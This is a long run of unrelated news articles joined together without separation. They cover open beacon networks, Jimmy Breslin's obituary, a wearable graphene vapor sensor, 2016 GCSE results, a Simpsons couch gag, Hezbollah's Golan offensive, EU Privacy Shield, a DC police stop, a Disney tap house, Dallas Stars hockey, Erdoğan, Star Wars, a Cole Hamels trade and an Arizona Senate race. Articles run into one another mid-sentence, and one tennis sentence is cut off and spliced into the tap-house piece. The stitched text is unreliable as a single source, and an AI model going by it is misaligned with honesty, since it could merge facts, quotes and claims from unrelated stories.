By forgoing closed networks and advocating for an open platform, retailers stand to significantly gain from future developments by retaining the ability to employ newer innovative services as they emerge and gain mass acceptance.
Developers
Imagine that GPS was closed and that only one developer could access this data. If this had been the case, innovation would have been extremely limited. As it currently stands, beacon developers have to pay-to-play by teaming up with retailers to install beacons at retail locations or small proprietary networks. This is cost-prohibitive for small companies and startups.
Additionally, without an open network, a developer is forced to spend unnecessary time attempting to access the network instead of building an incredible service and pushing the envelope on potentially more progressive offerings. If Waze had to do that for location data, it probably never would have been built.
The fact that we don’t have an open system for beacons will most likely stifle innovation, which ultimately will hurt all constituents involved.
End-users
In the early stages of any technology, developers need to be cognizant of long-term repercussions. Under the current paradigm, for a shopper to realize the full benefits of beacon technology, that user would have to download a multitude of apps that each take advantage of only a small network of beacons. This is highly unrealistic. Users don’t want to download apps for every retailer because it’s cumbersome, time-consuming and ineffective.
An open, accessible and ubiquitous network would benefit all constituents, propel innovation and foster a collaborative environment for decades to come.Jimmy Breslin, the New York City newspaper columnist and best-selling author who leveled the powerful and elevated the powerless for more than 50 years with brick-hard words and a jagged-glass wit, died on Sunday at his home in Manhattan. He was 88 and, until very recently, was still pushing somebody’s buttons with two-finger jabs at his keyboard.
His death was confirmed by his wife, Ronnie Eldridge, a prominent Democratic politician in Manhattan. Mr. Breslin had been recovering from pneumonia.
With prose that was savagely funny, deceptively simple and poorly imitated, Mr. Breslin created his own distinct rhythm in the hurly-burly music of newspapers. Here, for example, is how he described Clifton Pollard, the man who dug President John F. Kennedy’s grave, in a celebrated column from 1963 that sent legions of journalists to find their “gravedigger”:
“Pollard is forty-two. He is a slim man with a mustache who was born in Pittsburgh and served as a private in the 352nd Engineers battalion in Burma in World War II. He is an equipment operator, grade 10, which means he gets $3.01 an hour. One of the last to serve John Fitzgerald Kennedy, who was the thirty-fifth President of this country, was a working man who earns $3.01 an hour and said it was an honor to dig the grave.”
Here is how, in one of the columns that won the 1986 Pulitzer Prize for commentary, he focused on a single man, David Camacho, to humanize the AIDS epidemic, which was widely misunderstood at the time:
“He had two good weeks in July and then the fever returned and he was back in the hospital for half of last August. He got out again and returned to Eighth Street. The date this time doesn’t count. By now, he measured nothing around him. Week, month, day, night, summer heat, fall chill, the color of the sky, the sound of the street, clothes, music, lights, wealth dwindled in meaning.”Share this
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Email You are free to share this article under the Attribution 4.0 International license. University University of Michigan
A wearable vapor sensor could monitor diseases such as diabetes and hypertension by picking up airborne biomarkers exhaled or released through the skin.
“Each of these diseases has its own biomarkers that the device would be able to sense,” says Sherman Fan, professor of biomedical engineering at University of Michigan. “For diabetes, acetone is a marker, for example.”
Other biomarkers it could detect include nitric oxide and oxygen, abnormal levels of which can point to conditions such as high blood pressure, anemia, or lung disease.
Fan is developing the sensor with Zhaohui Zhong, an associate professor of electrical and computer engineering, and Girish Kulkarni, a doctoral candidate in electrical engineering.
The device is faster, smaller, and more reliable than its counterparts, which today are too big to wear.
Other applications
Beyond disease monitoring, the sensor has other applications. It would be able to register the presence of hazardous chemical leaks in a lab, or elsewhere, or provide data about air quality.
[related]
“With our platform technology, we can measure a variety of chemicals at the same time, or modify the device to target specific chemicals. There are limitless possibilities,” Zhong says.
To create their technology, the researchers took a unique approach to detecting molecules. “Nanoelectronic sensors typically depend on detecting charge transfer between the sensor and a molecule in air or in solution,” Kulkarni says.
However, these previous techniques typically led to strong bonds between the molecules being detected and the sensor itself. That binding leads to slow detection rates.
Response time: Tenths of a second
“Instead of detecting molecular charge, we use a technique called heterodyne mixing, in which we look at the interaction between the dipoles associated with these molecules and the nanosensor at high frequencies,” Kulkarni says.
This technique, made possible through the use of graphene, results in extremely fast response times of tenths of a second, as opposed to the tens or hundreds of seconds typical in existing technology. It also dramatically increases the device’s sensitivity. The sensor can detect molecules in sample sizes at a ratio of several parts per billion.
These nanoelectronic graphene vapor sensors can be completely embedded in a microgas chromatography system, which is the gold standard for vapor analysis, the researchers say.
The entire microgas chromatography system can be integrated on a single chip with low power operation, and embedded in a badge-sized device that can be worn on the body to provide noninvasive and continuous monitoring of specific health conditions.
“We believe this device can be extremely beneficial to society,” Fan says.
The researchers are working with the National Science Foundation’s Innovation Corps program to move the device from the lab to the marketplace.
Source: University of MichiganProportion of C grades or above drops by unprecedented 2.1 percentage points as new policies come into force
A dramatic fall in national GCSE results is the largest since the exam replaced O-levels, with the proportion of pupils who gained a C grade or above dropping by an unprecedented 2.1 percentage points – including a sharp decline in the numbers gaining a C or above in English.
The falls are due in large part to new government policies that force 17-year-olds who got a D or lower in English or maths last year to resit those exams, meaning more students overall were sitting the tests.
But even among pupils sitting their exams in year 11, the conventional GCSE year, the proportion gaining A*-C grades was down by 1.3 percentage points.
The national figures showed a big increase in those aged 17 or over taking the exams, driven by the government policy in England of requiring retakes. Only around one in four of those retaking the two core subjects gained a C or above, which experts said called into question the wisdom of the policy.
Mark Dawe, former head of the OCR exam board and chief executive of the Association of Employment and Learning Providers, bluntly attacked repeated retakes as counter-productive.
“Surely this is evidence enough that hitting students over the head with the same form of learning and assessment is not the way forward,” Dawe said.
“Maths and English are the most vital skills for economic and social mobility but these results show that repeating the same exercise doesn’t work.”
Kevan Collins, chief executive of the Education Endowment Foundation, agreed with Dawe that better strategies were needed to improve the skills of 16-18-year-olds who failed GCSEs.
“Simply keeping those teenagers in compulsory education for another year is not enough to ensure they leave with the skills they’ll need,” Collins said.
But Nick Gibb, the schools minister, defended the policy, saying: “For those 17-year-olds who have struggled to achieve good grades in maths, we are seeing 4,000 more successful retakes of those exams, delivering better prospects for every one of those young people.”
Gibb said he was pleased to see rises elsewhere in the proportion of pupils taking more academic subjects, which appeared to be most notable in sciences, with schools moving away from entries into alternative Btec qualifications.
GCSE results day 2016: UK students get their grades – live Read more
There were slight falls in the numbers gaining the highest A* qualification, for the fifth year in a row, while the proportion of 16-year-olds gaining A* or A fell by 0.6 percentage points.
Falls in English and maths were among the most shocking. The overall proportion of pupils getting A*-C in English plummeted 5.2% to 60.2%, and maths suffered a drop of 2.3 percentage points for grades A*-C.
The fall in the number taking GCSE English – about 200,000 lower than the number taking maths – appears to have been the result of more schools entering pupils for the iGCSE English exam, an alternative qualification not included in these figures.
Figures published by exam regulator Ofqual, combining the results in both GCSEs and iGCSEs, revealed that the net effect was grades only slightly lower than previous years.
There was a small increase in the proportion of A* grades in English, up 0.2 percentage points to 3.3%, but again A*-A was down by 0.9% to 13%. Maths at A* was also down 0.4 percentage points, and 0.6% for grades A*-A.
There were significant drops in the A*-C proportion for several subjects, including computing (down 4.7 percentage points), science (-3.8), history (-3), geography (-2.8) and maths (-2.3).
“There is a significant movement in this year’s entries, which impacts on results and creates a very complex national picture,” said Michael Turner, the director of the Joint Council for Qualifications, which represents the combined examination boards.
“We see shifts not only between subjects but across qualifications and year groups. This is driven by several factors, including performance measures and resit policies in England.”
The gender gap in exam results increased slightly, by 0.5%, with 71.3% of girls’ entries awarded at least a C grade compared with 62.4% of boys’.
Girls also outperformed boys in achieving the very top grades, with 7.9% getting an A* compared with 5%, although both saw a slight decline.
In England alone the A*-C pass rate dropped from 68.8% in 2015 to 66.6%.
Northern Ireland – where education is dominated by grammar schools, the subject of debate in England – bucked the national trend with a rise in A*s and As as well as a rise in the headline pass rate to 79.1%.
Wales managed to hold steady with a pass rate of 66.6% – which will come as some relief after last week’s disastrous A-level results.
The abrupt falls in England come as a surprise, because grades for year 11 pupils are set according to a process known as comparable outcomes, which links them to the performance recorded by the same cohort of pupils when they sat key stage 2 tests five years earlier.
The use of comparable outcomes has ended the charges of grade inflation that accompanied the increase in pass rates since 2000. The proportion of GCSE grades awarded has fallen at all levels from their peaks in 2011.
For the first time schools will now be rated according to a new performance measure, known as Progress 8, which charts how well pupils performed compared to their peers nationally based on their key stage 2 exams. It replaces the government’s previous measure, the proportion of pupils achieving C or higher in five GCSE subjects including English and maths.
School-level results under the new Progress 8 measure will not be available until the Department for Education releases its official calculations later this year. It will be published alongside another metric, Attainment 8.
This year’s results mark the last of the current format of GSCEs for maths and English, which will be replaced next year by exams graded on a 9-1 scale, with more rigorous content. Other subjects will be replaced over the following two years.
Kevin Courtney, the general secretary of the National Union of Teachers, said there were some troubling trends in the results, in particular the drop in entries for creative arts subjects as schools conformed to the government’s “prescriptive” English baccalaureate (Ebacc) requirements – a school performance measure.
“Teachers were faced this year with the introduction of less accessible syllabuses, including cuts to course work and no oral element in English,” he said.
“Similar practices are now being extended to other subjects and will reduce the opportunities for students to show what they can do.”
Among the independent schools celebrating the results of their pupils was King’s College School in Wimbledon, south-west London, where three students each achieved 14 A*s. Overall, 96% of the £20,000-a-year school’s entries gained A*s or As, slightly fewer than in 2015.2.) Don’t ask for anybody’s permission—just animate your own damn couch gag, drop it on the Internet, watch it become an overnight hit, and let The Simpsons producers come to you.
Indie Australian animators Paul Robertson and Ivan Dixon chose the latter approach when they created this pixel-art fan tribute and posted it online on February 1st:
Within a day of uploading it to YouTube, Simpsons producers had contacted them to license the opening. The opening will air in front of this Sunday’s broadcast of The Simpsons, which was confirmed in a tweet yesterday by showrunner Al Jean:
.@thesimpsons Pleased to announce Simpsons pixel couch gag will be at head of 2/15 ep. Thx Ivan, Paul & Jeremy! https://t.co/qaAtfhDy8S — Al Jean (@AlJean) February 10, 2015
The initial email that producers of the show sent to Ivan Dixon went to his spam folder. “I actually thought it was a hoax,” Dixon told the Sydney Morning Herald. “We secretly hoped they would pick it up, but it all came so fast.”The operation began with a blast. Hezbollah media and those affiliated with the Syrian regime described the military offensive that began in January as “the mother of all operations.” Reports spoke of around 3,000 soldiers, including Bashar Assad’s forces and Hezbollah fighters (they didn’t talk about the Iranian advisors taking part) working to clear the Syrian Golan Heights of opposition forces. The goal was also to secure the route from Dara’a, capital of the Huran area and nerve center of opposition activities, to Damascus.
The same month Qassem Soleimani, commander of the Al-Qods force of the Iranian Revolutionary Guards, toured the theater in order to run the operation from up close. Soleimani was even documented taking pictures with the fighters. The Hezbollah-affiliated al-Midian channel described the operation’s impressive military achievements, and said that at any moment, the Syrian regime along with its support forces would succeed in wiping out the central opposition stronghold in the country today, with the exception of the Islamic State.
But in reality, the achievements are minimal. After three months of fighting, the Hezbollah operation can be called a failure. Many in Israel describe it as exactly that.
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Success has many fathers, but this failure is certainly no orphan: Assad, Hezbollah, and above all, Iran, can claim parentage. The same regional powerhouse racking up stunning military successes in Iraq and Yemen was stopped by paramilitary forces in southern Syria.
It may be, of course, that the failure is temporary, and in a few months, the soldiers of the “axis of evil” will renew their offensive, and with greater success. But for now, the facts on the ground speak for themselves: Iran’s attempts, along with Hezbollah, to change the face of Israel’s northern front, using Assad’s soldiers as cannon fodder, have not succeeded.
The Iranian strategy is to combine the Lebanese and Syrian fronts against Israel. If Hezbollah is struggling to operate against the Zionist enemy from Lebanese soil, since Israeli counterstrikes could hurt Hezbollah politically in Lebanon, the chaotic Golan Heights is much less problematic for the Shiite organization and for its Iranian masters. In this area, the Iranians wanted to establish territory under their control with no Syrian opposition presence, which would give them a double achievement: seriously harming Jubhat al-Nusra, so dominant in southern Syria, and creating a forward headquarters from which to direct attacks against Israel and drag it into a war of attrition. Hezbollah Secretary-General Hassan Nasrallah himself said in an interview that the Golan and southern Lebanon have become one front.
The alleged Israeli strike on the Golan on January 18, during which a Revolutionary Guards general, Muhammad Ali Allahdadi, and six Hezbollah operatives (five of whom were senior) were killed, further underlined the effort Iran is putting into the front. It was reported that the attack foiled the creation of a major military infrastructure that Hezbollah and Iran wanted to use against Israel, under the command of slain Hezbollah commander Imad Mughniyeh’s son, Jihad.
The Iranian effort didn’t begin in January, but many months before. Initially, the Iranians wanted to use Palestinian groups in Syria as proxies, but their abilities were less than impressive. Then the Revolutionary Guards tried to use cells commanded by the released terrorist Samir Kuntar. But his organization had also been damaged by Israeli attacks.
So Iran decided to increase its investment. It created an elite unit which trained over the course of a year, from basic training to advanced exercises. An entire logistical network supported the unit, commanded by Jihad Mughniyeh. Dozens went through selection and enlistment, and learned a variety of skills to allow them operated covertly. The new unit was made up of Hezbollah veterans, pro-Assad Palestinians, and Syrians. It became Nasrallah and Soleimani’s “baby,” and prepared intensely for sniper attacks and anti-tank missile fire against Israeli targets across the border. The Israeli airstrike near Quneitra, according to senior Israeli sources, hit an advance patrol before the unit began its operations.
The Iranian effort didn’t only founder against Israel. The advance of Syrian and Hezbollah forces was stopped quickly by opposition fighters inside Syria. In Nawa, Sheikh Maskin, and Tel Mar’I, opposition forces managed to drive back the Iranian-backed forces. Same in Dara’a.
What are the reasons for this defeat? Hezbollah blames the weather – the heavy snow that fell when the advance was stopped. It could also be that Hezbollah did not send its best fighters, or that the resistance put up by the Free Syrian Army and Jubhat al-Nusra was too stiff.
At the same time, Hezbollah is fighting on other fronts that are no less dangerous. Lebanese media reported recently on bitter fighting in the Baalbek area, near the Syrian border. And though Hezbollah captured the Kalmoun ridge, the fighting never stopped there, and in Aleppo the Syrian army has not managed to defeat the radical Sunni opposition. Neighborhoods of Damascus, mainly in the area of the Shiite holy site Sayyida Zayneb mosque, are shelled almost daily.
By all indications, the civil war in Syria is far from over.The European Parliament has asked the Commission to reopen negotiations with the United States and shore up gaps in the Privacy Shield agreement.
A vast majority of MEPs approved a resolution today (26 May) that said the executive still needs to fix the data transfer deal, which allows US authorities to collect EU citizens’ data in bulk in some cases.
The Parliament’s opinion is not binding, but it does increase pressure on the Commission to boost privacy guarantees in the controversial agreement.
The executive came under fire after finishing negotiations over Privacy Shield in February. Critics say the deal will not stand up in the European Court of Justice, which knocked down the predecessor Safe Harbour agreement last October because it did not protect EU citizens’ data once it is sent to the US.
The executive is already running behind schedule – EU Justice Commissioner Vera Jourova and Digital Commissioner Günther Oettinger previously said they want the agreement to go into effect by the end of June. That can only happen after a group of diplomats from EU member states sign their approval.
euractiv.com previously reported that the diplomats were supposed to vote on Privacy Shield last week. But the group put off its final verdict and scheduled a slew of new meetings through until the end of June.
MEPs battle to get their vote on Privacy Shield Liberal and socialist groups in the European Parliament have tried since March to set up a plenary vote on the controversial Privacy Shield data transfer agreement to the United States. With member states’ final verdict slated for next month, MEPs are running out of time to vote before the deal is finalised.
The Commission says it has already finished negotiating the agreement with US government officials but is still asking for clarification on some points.
The EU executive faces an uphill task. MEPs singled out bigger issues in the agreement that likely cannot be changed quickly, like bulk collection of data and intelligence agencies’ access.
Commission spokesman Christian Wigand said the Parliament asked for realistic changes and not a drastic renegotiation of the agreement.
“We’re working on exactly that in the final stretches,” Wigand said.
But the Parliament’s resolution asked the executive to “fully” take on criticism from national privacy watchdogs in EU member states, who slammed the agreement last month and asked for tighter rules on when US authorities can collect personal data in bulk.
EU privacy watchdogs demand improvements to 'Privacy Shield' European privacy watchdogs gave a damning verdict of the Privacy Shield, the draft deal for data transfers from the EU to the US, and warned the European Commission to shore up gaps in the new agreement on national security agencies.
Jourova told MEPs the Commission is “clarifying” details to make sure the new privacy ombudsman in the US State Department is independent. The executive is also asking for changes on how long EU citizens’ can be stored in the US after legal advisors said the agreement was not clear enough.
Jourova said she wants to have Privacy Shield “up and running by the summer” – a less precise deadline than the Commission’s previous goal of the end of June.
German MEP Jan Philipp Albrecht (Green) said many of the Parliament’s demands would need US laws to be changed. With only a few months left before a new president takes office, big changes will not meet Jourova’s deadline.
Albrecht submitted an amendment to the Parliament’s resolution asking the Commission to include a sunset clause that would make the Privacy Shield expire after a few years. But the amendment was rejected by a majority of MEPs.
“The bigger groups don’t want to be the ones that are beaten up for this agreement not going into force,” Albrecht said.
Commission replaces Safe Harbour with rebranded 'privacy shield' The European Commission signed off on a new data transfer agreement with the US today (2 February) to replace the old Safe Harbour agreement.Image copyright Getty Images
Perhaps it's a reflection of our high-tech society. Every day seems to bring new videos of alleged police brutality, where law enforcement officers employ questionable tactics when dealing with black suspects.
According to Washington Post columnist Clinton Yates, what occurred on the afternoon of 1 October isn't one of those cases - but perhaps it could have been under different circumstances.
Two Washington Metro Police officers - both black - were responding to a household burglary alarm in a posh District of Columbia neighbourhood and encountered a 64-year-old black man carrying two bags. When they questioned him, they say he became "loud and boisterous". They ordered him to the ground.
Just because he's black, doesn't mean he's here to rob a house Jody Westby, Washington, DC, resident
At that point, a local resident - a middle-aged white woman named Jody Westby - came out from her house and confronted the police.
She instructed her housekeeper to record the events. She said she knew the man - a local worker - and that the police had no right to detain him. She told the officers that she was a lawyer and, upon learning the address of the burglary report, that they weren't even on the right street.
She grabbed the detained man's hand and said she was leaving, telling the police to "please leave our neighbourhood".
The officer reluctantly let Ms Westby and the man go.
As she walked away, Ms Westby said: "Just because he's black doesn't mean he's here to rob a house. He works for us. He's been in this neighbourhood for 30 years."
Yates writes that the situation likely would have been much different if the incident had occurred in a less affluent neighbourhood or Ms Westby hadn't been white.
"The level of comfort with which she communicates with the officers due to her knowledge of the law and lack of fear of retribution offers a lesson about how the intersection of race, class and privilege can impact the interactions between police officers and some residents," he says.
Yates contends that many residents of Washington would never be willing or able to exercise their rights the way Ms Westby does in the video, "for fear of being hurt, arrested or killed".
Ms Westby tells the Post that the police actions were "shameful" and they were treating the man "just like a dog". A police spokesperson responds that there was no officer misconduct.
US citizens have constitutionally protected rights - but they're only paper protections if they can't be freely exercised.
Would the incident have gone differently if Westby hadn't been there - or hadn't been white? Or if the whole incident hadn't been recorded?
Yates seems to think so. And there's plenty of video evidence of police confrontations gone horribly wrong from across the US to lend credence to his belief.
As for the original burglary report, the Post says that the alarm was due to a wrong code entered by the home's occupant.But on some level that can only be called existential, the very best touring tennis pros have only one another to coax them to greatness on court, to potentially complete them in the |
corner pub specializing in beer and wines from California.
In a quaint brick building, BaseLine Tap House celebrates the revitalization of Downtown Los Angeles by paying homage to the building’s former life as the Figueroa Printing Company, a mom-and-pop print house that had ties to the Disney studios in nearby Burbank. The space retains many of its cool architectural and mechanical details with exposed walls and old printing equipment and artifacts, blending the past and present in an inviting space. Outside is a charming tree-shaded terrace, perfect for a relaxing break in the day.
California craft ales, lagers and cider are the stars of the drink menu. California wines on tap along with specialty cocktails are not to be missed either. A gourmet non-alcoholic lemonade and soda on tap round out the drink selection.
If you’re feeling peckish, try one of the small bites, including a Bavarian pretzel with mustard and beer-cheese fondue, spiced almonds or a charcuterie board featuring California cheeses.
BaseLine Tap House will open daily at 11 a.m. Check the Disney Parks Blog for an announcement of the opening date.This is one of those mornings where it feels good to be a Dallas Stars fan.
Ever since this season began, we've approached each win by these Dallas Stars with caution. We don't want to get too far ahead and declare this team ready for the Stanley Cup just yet but it's also impossible not to get excited when the team is putting up win after win. For each victory, however, there were whispers of pessimism saying they've had an easy schedule and this house of cards could tumble at any moment.
Yet with a brutal stretch of games ahead, we approached this week as a litmus test as to whether this was a "real" team or not, whether these Dallas Stars should truly deserve the respect all the fans have been crying about all season long. After a big win against the Washington Capitals -- not just a win but a dominant win -- the Stars are suddenly getting all the respect and the accolades in the world.
"This was against an elite team and I am sure there were a lot of people watching to see how we did against a great team like Washington," said Kari Lehtonen. "It was nice to get a good victory."
After that win, the Dallas Stars were suddenly the talk of the NHL. On Versus, on the NHL Network, even on ESPN -- the Dallas Stars were being talked about as the best team in the NHL right and after weeks of cautious optimism every pundit around the nation was singing their praises about your Dallas Stars.
We've seen this before, however. We know how narrow the precipice of success can be. The good news is that these players remember that as well.
After the game, Trevor Daley was brutally honest with Mike Heika about this season and how the players are approaching this overwhelming success six weeks into the season.
"We are a good team,'' said Trevor Daley. "It is what it is, we're playing pretty good hockey right now. That is a very good team, it was a very good test for us tonight, and I think we handled it well.''
"But...we had a really good start last year, and it didn't work out for us,'' Daley said."I think we want to learn our lessons from last year, and I really believe we will. But we have to do it, we can't get ahead of ourselves and then not put the work in.''
We're going to be discussing this in more detail tomorrow, but the Stars' collapse last season was something that many of us saw coming. We knew the warning signs were there and every game was a torture of the nerves as we knew that at any moment the curtain would be pulled back on a team that had been successful mostly on smoke and mirrors. In the end, the Stars missed the playoffs by just one win -- yet their best hockey was months behind them.
This season that feeling doesn't exist. This is a confident team that is improving game after game and still has many areas that need working on. For now, the Stars are on a roll and it's evident as to why.
"Things are going pretty good right now, and I think that's because we're playing a simple game and we're playing the right way," said Jamie Benn. "Guys are having fun and we're all buying in and we're getting points on the road."
Gulutzan has shown an incredible amount of faith in his players and is showcasing why he has been so successful as a coach throughout his career. The players are buying into what he's selling them and more importantly, they're having fun doing so. Gulutzan stated the day he was hired that he wanted to make hockey fun again for the players and this team atmosphere he's built is shining through at the biggest moments in games.
The Stars are suddenly one of the best third period teams in the NHL. When the game is on the line they are the hungrier team, they want those two points more and they'll do whatever it takes to make that happen. They clamp down defensively and ramp up the offense. This season, when the game is tied heading into the third, the Stars are 6-1-0.
For the first time in years this is a Stars team that finishes stronger than it starts, that builds momentum throughout a game and is capable of breaking open a close game with an onslaught in the final period. They fought back against multiple deficits on Friday night against Colorado and broke open a tied game against the Capitals with three goals in the first ten minutes of the final frame.
"It was really nice to see how we outworked them in the third," Lehtonen said. "It was fairly easy for me. I think I had two saves at the halfway mark and we had scored three goals already."
Once again, the Jamie Benn and Loui Eriksson combination continued to showcase their dominance each and every shift. While they cooled off as the game progressed, their raucous start set the tone of the game for the Stars and exhibited why this combination could become one of the most lethal in the NHL.
Michael Ryder, starting off slow this season while playing with Mike Ribeiro, suddenly looks like a man possessed out on the ice. His two goals in the first period gave the Stars the confidence they needed against a good team and he helped the top line continue to dominate the ice with six shots on goal in the first period alone.
"Those two guys have been playing together for a little bit and this is my third game with them," said Ryder. "They've been flying and I'm just feeding off them. We got something going good right now and I think tonight, we got a good effort from everybody. I think we had a good game and came out with the two points, which we really wanted."
There's no doubt that the Stars are riding high right now. There's no doubting that as of this moment, in the second week of November, they're the best team in the NHL. Yet as we witnessed first hand last season all it takes is a few bad games and suddenly the meltdown can happen and all of this can come tumbling down.
This is a different team, however, and after a big win against the Capitals the Stars are -- rightfully so -- feeling very confident in their ability to win against any team in the NHL. This was just one game, however, and the Stars are facing an even bigger test on Friday night in Pittsburgh.
"It's a good measuring stick for us," said Stars coach Glen Gulutzan. "We're trying to gauge ourselves against the league and coming into Washington and then heading to Pittsburgh and Detroit, we feel this is going to be a real good measuring stick. Tonight, we liked our game and it just gives us confidence moving forward."Why Erdoğan wants elections – again In Turkey, there is a special category of reporters called the “Ankara journalists.” They know all the Byzantine power struggles taking place in the capital, and make sense of the political cacophony that sometimes seems puzzling to outsiders. These days, many of them agree that there is a gap between the two men who rule Turkey: While Prime Minister Ahmet Davutoğlu is willing to form a stable coalition government with one of the opposition parties, President Recep Tayyip Erdoğan wants to have “early elections” as soon as possible, probably this November.
If you wonder why, here is a very simple answer: President Erdoğan hates sharing power. He instead wants to concentrate it in his own hands as much possible. But the result of Turkey’s elections one month ago really does not fit this agenda. So he wants to toss the dice once again, hoping that this time his party, the Justice and Development Party (AKP), will be able secure a parliamentary majority.
Meanwhile, Prime Minister Davutoğlu, and the people in the AKP who support him, believe that the nation spoke on June 7, gave a lesson to the AKP, and forced it to seek consensus with opposition parties. They also believe that a coalition government, especially between the AKP and the main opposition Republican People’s Party (CHP), will help “normalize” Turkey in several ways: It will diffuse political tension and help the economy. Moreover, it will force Erdoğan to become a “normal” president — limited and non-partisan, as declared in the constitution. The AKP government will then be able to tell Erdoğan, at least implicitly, “Our coalition partner asks you to behave; so please behave.”
That is the reason why Erdoğan seems unenthusiastic about a coalition government. It would be end of the “revolution,” and the state of emergency, that he has been spearheading since mid-2013. (The argument is that Turkey is accomplishing a historic transformation, that it has to crush all enemies who stand in the way, and that it needs a superhero to fight these glorious battles.) This could even initiate a new era in which corruption scandals of the past two years, which somehow touch Erdoğan himself, may be reopened and legally pursued.
But how would new elections help the president? Well, by making the AKP win more votes, for sure. The idea is that the very uncertainty and instability created by the June 7 elections will make some voters, who had decided to “punish” the AKP, change their minds again and vote for the incumbent party. According to calculations, the AKP will need only an additional 2-3 percent of the votes to secure a parliament majority, and that this might be possible in the fall.
Of course, it is possible that such renewed elections will not change anything, and the AKP will still fall short of securing a parliamentary majority. But for Erdoğan, it might be a risk worth taking. What’s more, both he and his dedicated followers have an idea of the “direction of history,” which will be realized whatever bumps in the road there are.
More objectively speaking, it is hard to guess whether such renewed elections really will take place or whether they will boost the AKP as much as Erdoğan wants to see. If there is one thing that may help him, it is not the Hegelian (if not fatalistic) “direction of history,” but rather a more mundane thing that has helped him all along the way: The incompetence of the opposition parties, including their inability to reach any consensus among themselves.Plus: Han Solo was once set to return as a 10-year-old boy whose adoptive dad was Chewbacca in 2005 prequel Revenge of the Sith
Disney has no intention of bringing the Star Wars saga to a close once its new trilogy of films reaches its denouement, the studio’s chairman has revealed.
Star Wars: Episode VIII release delayed to Christmas 2017 Read more
Bob Iger told the BBC that plans to continue delivering space opera instalments were in place for beyond 2019, when Colin Trevorrow’s Episode IX is due to hit cinemas.
“There are five Star Wars films – four more with Episode VII: The Force Awakens – that are in varying stages of development and production,” he told Newsbeat. “There will be more after that. I don’t know how many; I don’t know how often.”
Iger’s comments confirm the suggestion made in a Wired magazine article from November – prior to the release of The Force Awakens – which drew on interviews with Star Wars insiders and indicated the saga could continue indefinitely.
“The company intends to put out a new Star Wars movie every year for as long as people will buy tickets,” wrote journalist Adam Rogers. “Let me put it another way: if everything works out for Disney, and if you are (like me) old enough to have been conscious for the first Star Wars film, you will probably not live to see the last one. It’s the for ever franchise.”
Will Star Wars: The Force Awakens usher in the return of space opera? Read more
Iger also said Disney’s other big fantasy franchise, the Marvel “cinematic universe” is likely to run and run.
“Marvel, you’re dealing with thousands and thousands of characters [from the comic books] – that will go on forever,” he said, refuting suggestions that fans might eventually get bored with superhero movies.
“No, I don’t think they’re getting weary,” Iger added. “But I think we keep raising the bar in terms of telling stories that bring them back, that excite them, that make it feel new, and that is what we do for a living.”
The next Star Wars film in cinemas will be Rogue One, about a group of rebels who steal the plans to the first Death Star, on 16 December. JoBlo reported this week that the longstanding rumour that Darth Vader will appear in the movie is correct.
In other Star Wars news, Den of Geek reports that Harrison Ford’s triumphant return as Han Solo in The Force Awakens was almost ruined by creator George Lucas 10 years previously. According to an art book for 2005’s Revenge of the Sith, Solo would have appeared in cameo as a 10-year-old boy who is raised on the planet Kashyyyk as the adoptive son of Chewbacca, later his co-pilot on the Millennium Falcon.
Maz Kanata 'used telekinetic powers' in Star Wars: The Force Awakens Read more
As a radical shift in Star Wars lore, such a change might have had the potential to make Han failing to shoot first in the “special edition” of 1977’s Star Wars look relatively inconsequential. The website also reports that young Han was originally due to meet Yoda, who was on Kashyyyk in search of lightsaber-wielding cyborg General Grievous, and utter the immortal line: “I found part of a transmitter droid near the east bay. I think it’s still sending and receiving signals.”
Lucas is said to have cut the scene during the production process. A younger version of Solo will instead return in a new spin-off, tipped to appear in 2018, with Dave Franco, Logan Lerman and Scott Eastwood reportedly among the frontrunners to play the sardonic space scoundrel.3:46pm: MLB.com’s Todd Zolecki reports (via Twitter) that Hamels will not start for the Phillies Thursday, as had been scheduled. Hamels’ start has been pushed back to Friday, though that game comes after the trade deadline. This prevents a disastrous scenario in which Hamels suffers an injury and also makes him available to start immediately for his team either Friday or Saturday if he’s traded on Thursday or Friday.
11:32am: The Phillies are notifying teams with interest in lefty Cole Hamels that they would like to receive their best offers tomorrow, Jayson Stark of ESPN.com reports. It’s unclear what the team’s decisionmaking process or timeline would be from that point, but there is at least some possibility of a deal occurring before Hamels makes his scheduled start on Thursday.
It makes sense, of course, that Philadelphia would look to strike a deal just ahead of Friday’s deadline. He is fresh off of a no-hitter, after two rough starts before it, so there’s only downside in putting him back on the hill in a Phillies uniform. And handing off another outing won’t hurt his trade value, either.
As for the suitors, we’ve heard of late movement from the Giants as well as from the Astros and Diamondbacks. Stark lists those clubs, along with the Dodgers, Rangers, Cubs, Yankees, and Red Sox, as organizations known to have had ongoing discussions with Philadelphia.
As he notes, however, “about half of that group” is participating because the Phillies have sought “to reopen discussion” of names that were previously deemed off limits. And one source says that there’s “nothing happening” with San Francisco, per the report.AZ republican 3.9% Trump 48.1% toss-up More Information
Jeff Flake (Open) ( republican, Arizona) 2012 Campaign Spending $9,557,420 2012 Margin of Victory 3.9% Presidential Winner (2016) Trump 48.1% Trump's Disapproval Rating 51.1% Latest Polling (Primary) Kelli Ward 42%; Martha McSally 34% Jeff Flake (Open) ( republican, Arizona) How vulnerable is the seat? Inside Elections: toss-up
Cook Political Report: toss-up
Sabato's Crystal Ball: toss-up Why is it in play? Call it an inspired speech or a face-saving bow-out after a 33 percent approval rating, but Jeff Flake’s party condemnation and campaign suspension in October has left a power vacuum in Arizona. Though the president has only a 44.2 percent approval rating in the state, Flake’s long-standing criticism of the president was enough to doom him and unsettle the local GOP Establishment, who now have to find a measured head to run against the freewheelin’ Trump-era candidate Kelli Ward. There hasn’t been a Democratic senator from the deep-red state in over 20 years, but a close presidential race, bipartisan representation in the House, and Flake’s contested 2012 win signal an opportunity for Dems to chaos-ladder their way to victory. Who are the challengers? Republican congresswoman Martha McSally — who did not endorse Trump and has criticized his language toward “veterans and Hispanics and women and others” — has also all but formally announced a bid, which would make her the Establishment front-runner. Republican Kelli Ward ate a 12.5-point loss in her primary long shot against John McCain, but faces better odds running for the junior seat, with $300,000 from Robert Mercer, and endorsements from Steve Bannon and Rand Paul. She calls herself a “build-the-wall, stop-illegal-immigration Americanist,” suggested John McCain resign “as quickly as possible” after his brain-tumor diagnosis, and would like the U.S. to leave the U.N. But Arizona party leaders worry that her conservative-populist bona fides could hurt their chances in the general election. As a primary alternative, the party has its hopes in potential candidates such as Arizona treasurer Jeff DeWit, the Trump campaign’s chief operating officer, who would surely enjoy presidential backing if he made good on his reported interest in the seat.Centrist and Democratic congresswoman Kyrsten Sinema is the front-runner on the left. The first openly bisexual person in Congress, Sinema is a member of the conservative-leaning Blue Dog Coalition of Democrats, and has moved away from her party on key issues — in 2015 and 